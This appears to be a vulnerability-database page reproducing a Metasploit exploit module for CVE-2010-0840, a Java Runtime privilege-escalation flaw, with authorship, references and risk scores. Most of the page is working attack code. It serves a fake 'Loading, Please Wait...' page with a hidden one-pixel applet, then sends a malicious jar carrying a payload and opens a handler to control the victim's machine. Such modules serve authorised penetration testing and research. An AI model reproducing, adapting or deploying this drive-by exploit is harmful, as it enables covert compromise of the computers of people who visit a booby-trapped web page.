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Java Statement.invoke() Trusted Method Chain Privilege Escalation
🗓️ 21 Aug 2010 06:38:29Reported by Sami Koivu, Matthias Kaiser, egypt <[email protected]>Type 
metasploit🔗 www.rapid7.com👁 44 Views
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
# Superceded by java_atomicreferencearray
#include Msf::Exploit::Remote::BrowserAutopwn
#autopwn_info({ :javascript => false })
def initialize( info = {} )
super( update_info( info,
'Name' => 'Java Statement.invoke() Trusted Method Chain Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability in Java Runtime Environment
that allows an untrusted method to run in a privileged context. The
vulnerability affects version 6 prior to update 19 and version 5
prior to update 23.
},
'License' => MSF_LICENSE,
'Author' => [
'Sami Koivu', # Discovery
'Matthias Kaiser', # PoC
'egypt' # metasploit module
],
'References' =>
[
[ 'CVE', '2010-0840' ],
[ 'OSVDB', '63483' ],
[ 'URL', 'http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-trusted-method-chaining-cve-2010.html' ],
],
'Platform' => %w{ java linux win },
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Arch' => ARCH_JAVA,
}
],
[ 'Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'win'
}
],
[ 'Linux x86',
{
'Arch' => ARCH_X86,
'Platform' => 'linux'
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2010-03-31'
))
end
def on_request_uri( cli, request )
if not request.uri.match(/\.jar$/i)
if not request.uri.match(/\/$/)
send_redirect(cli, get_resource() + '/', '')
return
end
print_status("#{self.name} handling request")
send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } )
return
end
paths = [
[ "vuln", "Exploit.class" ],
[ "vuln", "Exploit$1.class" ],
[ "vuln", "Link.class" ],
]
p = regenerate_payload(cli)
jar = p.encoded_jar
paths.each do |path|
1.upto(path.length - 1) do |idx|
full = path[0,idx].join("/") + "/"
if !(jar.entries.map{|e|e.name}.include?(full))
jar.add_file(full, '')
end
end
fd = File.open(File.join( Msf::Config.data_directory, "exploits", "cve-2010-0840", path ), "rb")
data = fd.read(fd.stat.size)
jar.add_file(path.join("/"), data)
fd.close
end
print_status( "Sending Applet.jar" )
send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } )
handler( cli )
end
def generate_html
html = "<html><head><title>Loading, Please Wait...</title></head>"
html += "<body><center><p>Loading, Please Wait...</p></center>"
html += "<applet archive=\"Exploit.jar\" code=\"vuln.Exploit.class\" width=\"1\" height=\"1\">"
html += "</applet></body></html>"
return html
end
end
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02 Oct 2020 20:00Current
1Low risk
Vulners AI Score1
CVSS 27.5
CVSS 3.19.8
EPSS0.96319